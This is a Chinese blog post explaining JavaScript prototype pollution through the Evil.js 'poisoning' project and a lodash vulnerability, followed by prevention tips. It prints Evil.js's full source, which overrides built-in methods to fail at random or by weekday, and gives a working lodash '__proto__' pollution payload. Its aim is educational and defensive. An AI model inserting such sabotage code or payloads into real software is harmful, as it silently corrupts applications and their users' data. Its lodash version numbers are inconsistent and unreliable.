不知大家是否还记得两年前 Github 出现的一个名为 Evil.js 的项目,其号称专治 996 公司,实际就是给前端项目“投毒”。本文就来聊一聊这个项目背后的故事:原型污染。
原型污染是一种很少被关注但潜在风险严重的安全漏洞,它影响基于原型的编程语言,例如 JavaScript。这种漏洞通过篡改对象的原型链,从而影响所有基于该原型的对象。
基于原型的编程范式
在深入探讨原型污染之前,先来回顾一下 JavaScript基于原型的编程范式。
JavaScript 的原型机制是其面向对象编程模型的核心,它允许对象通过原型链来继承属性和方法。在 JavaScript 中,每个对象都有一个与之关联的原型对象,当试图访问一个对象的属性或方法时,如果该对象本身没有该属性,JavaScript 就会查找该对象的原型对象,看原型对象是否有这个属性。这个过程会一直持续到原型链的末端,即 Object.prototype。
构造函数是用于创建和初始化新对象的特殊函数。当使用 new 关键字调用构造函数时,会创建一个新对象,并将该对象的原型设置为构造函数的 prototype 属性所指向的对象。每个函数都有一个 prototype 属性,这个属性是一个对象,包含了可以由特定类型的所有实例共享的属性和方法。
在 ES6 之前,通常使用非标准的 __proto__ 属性来访问或修改一个对象的原型(尽管许多浏览器都支持它,但它不是 ECMAScript 标准的一部分)。然而,更推荐的做法是使用 Object.getPrototypeOf() 和 Object.setPrototypeOf() 方法来访问和修改对象的原型。
虽然 ES6 引入了 class 和 extends 关键字,这两个关键字提供了一种更接近于传统类继承的语法糖,但实际上它们仍然是基于原型链的。
下面来看一个栗子:
// 定义一个构造函数
function Car(brand, color) {
this.brand = brand;
this.color = color;
}
// 在 Car 的原型上添加一个方法
Car.prototype.drive = function() {
return "The " + this.brand + " " + this.color + " car is driving away.";
};
// 创建一个 Car 的实例
let redCar = new Car("BMW", "red");
// 访问实例的属性
console.log(redCar.brand); // 输出 "BMW"
console.log(redCar.color); // 输出 "red"
// 调用实例继承自原型的方法
console.log(redCar.drive()); // 输出 "The BMW red car is driving away."
// 创建一个继承自 Car 的新构造函数
function ElectricCar(brand, color, batteryRange) {
// 调用 Car 的构造函数,继承其属性
Car.call(this, brand, color);
this.batteryRange = batteryRange;
}
// 设置 ElectricCar 的原型为 Car 的实例,从而继承 Car 的方法
ElectricCar.prototype = Object.create(Car.prototype);
ElectricCar.prototype.constructor = ElectricCar;
// 添加 ElectricCar 特有的方法
ElectricCar.prototype.recharge = function() {
return "The " + this.brand + " is recharging.";
};
// 创建一个 ElectricCar 的实例
let tesla = new ElectricCar("Tesla", "blue", 300);
// 访问继承的属性和方法
console.log(tesla.brand); // 输出 "Tesla"
console.log(tesla.drive()); // 输出 "The Tesla blue car is driving away."
// 访问 ElectricCar 特有的方法
console.log(tesla.recharge()); // 输出 "The Tesla is recharging."
在这个例子中定义了一个 Car 构造函数和一个 ElectricCar 构造函数。ElectricCar 通过将其原型设置为 Car 的一个实例来继承 Car 的属性和方法。我们还为 ElectricCar 添加了一个特有的方法 recharge。这样,ElectricCar 的实例 tesla 就可以访问继承自 Car 的属性和方法,以及 ElectricCar 特有的方法。
原型污染
原型污染发生在攻击者能够修改 JavaScript 对象原型时。由于JavaScript的原型链机制,如果攻击者能够操纵或覆盖某些原型对象的属性或方法,那么这种修改将会影响到所有继承自该原型的对象。这可能导致应用的行为异常,甚至被攻击者利用来执行恶意代码或窃取敏感数据。
原型污染通常发生在以下情况:
- 应用没有正确验证或过滤用户输入,导致恶意代码被插入到对象的原型中。
- 使用了不安全的第三方库或框架,这些库或框架可能允许原型被意外修改。
下面来了解两个原型污染的实际例子。
Evil.js
2022年某一天,好多前端群都在疯传一个名为 Evil.js 的开源项目,看了一眼,好家伙,不简单啊:
由于这个库传播比较广泛,作者紧急删除了发布在 npm 的包,并发布了声明(保命):
声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
故事到这里就结束了。那作者是怎么实现的呢?了解原型的小伙伴第一个想到的应该就是作者修改了这些 JavaScript 内置对象的原型。为了验证想法,我们来看看源码:
(global => {
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时,本方法永远返回false
*/
const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
/**
* Array.map will always be missing the last element on Sundays
* @zh 当周日时,Array.map方法的结果总是会丢失最后一个元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
/**
* Array.fillter has 10% chance to lose the final element
* @zh Array.filter的结果有2%的概率丢失最后一个元素
*/
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
/**
* setTimeout will alway trigger 1s later than expected
* @zh setTimeout总是会比预期时间慢1秒才触发
*/
const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
/**
* Promise.then has a 10% chance will not register on Sundays
* @zh Promise.then 在周日时有10%几率不会注册
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}
/**
* JSON.stringify will replace 'I' into 'l'
* @zh JSON.stringify 会把'I'变成'l'
*/
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}
/**
* Date.getTime() always gives the result 1 hour slower
* @zh Date.getTime() 的结果总是会慢一个小时
*/
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
/**
* localStorage.getItem has 5% chance return empty string
* @zh localStorage.getItem 有5%几率返回空字符串
*/
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}
})((0, eval('this')));
果然,只要原本是在原型上定义的方法,修改方式都是修改原型。那么,只要这段代码安装/插入到前端项目中,就会污染部分 JavaScript 的原型,那么在使用这些原型上的方法时,就会有一定概率出现上面所说的异常情况,这就是原型污染。
lodash
下面再来看一下之前 Lodash 被原型污染的故事,存在问题的版本为 4.17.15。
在 lodash 的 4.17.15 版本中,存在一个原型污染的漏洞。这个漏洞允许攻击者通过特定的函数(如 merge、mergeWith、defaultsDeep、zipObjectDeep)来注入或修改 Object.prototype 的属性。由于这些属性会被添加到所有对象的原型链上,因此它们将影响所有在 JavaScript 环境中创建的对象。
比如,利用 Lodash 的 zipObjectDeep 函数,攻击者可以创建一个对象,并通过特定的键(如 __proto__)来污染原型链。
import _ from 'lodash';
_.zipObjectDeep(['__proto__.z'],[123]);
console.log(z); // 输出 123
漏洞影响:
- 服务器崩溃:如果攻击者注入了恶意代码或大量数据到原型链中,它可能会导致服务器崩溃或变得无法响应所有请求。
- 远程代码执行:在某些情况下,攻击者可能能够通过注入特定函数或对象来实现远程代码执行。
预防原型污染
要防止原型污染,可以遵循以下几个步骤和策略:
- 了解原型污染的原因:
- 原型污染的根本原因在于JavaScript的原型链继承机制,使得攻击者有可能通过修改对象的原型来影响所有基于该原型创建的实例。
- 恶意代码的注入,如用户输入或第三方API,如果没有被妥善地校验和清洗,就可能导致原型污染。
- 使用安全编程实践:
避免直接修改全局对象的原型:尽量使用其他方式扩展功能,而不是直接修改原型。
使用对象的浅拷贝或深拷贝:在创建新的对象时,使用浅拷贝或深拷贝,而不是直接修改原型。
避免在第三方库上修改原型:防止对其他模块产生意外影响。
使用严格模式("use strict"):这有助于捕获一些潜在的原型链污染问题。
验证和清理输入数据:
确保所有的输入数据都经过严格的验证,以防恶意数据造成原型污染。
对于不可信的数据,实施一系列的验证措施,包括数据类型、格式、长度等的检查。
使用冻结对象:
使用Object.freeze()来冻结对象,使其无法被修改。这可以防止攻击者通过修改冻结对象的原型来造成污染。
使用替代数据结构:
在某些情况下,可以使用Map代替普通的JavaScript对象来储存键值对。因为Map不会受到原型污染的影响。
更新和维护第三方库:
保持所使用的第三方库(如lodash等)为最新版本,以利用其中的安全修复。
特别是针对已知存在原型污染问题的库(如 lodash 4.7.12 之前版本、jQuery 3.4.0之前版本),应尽快更新到修复了该问题的版本。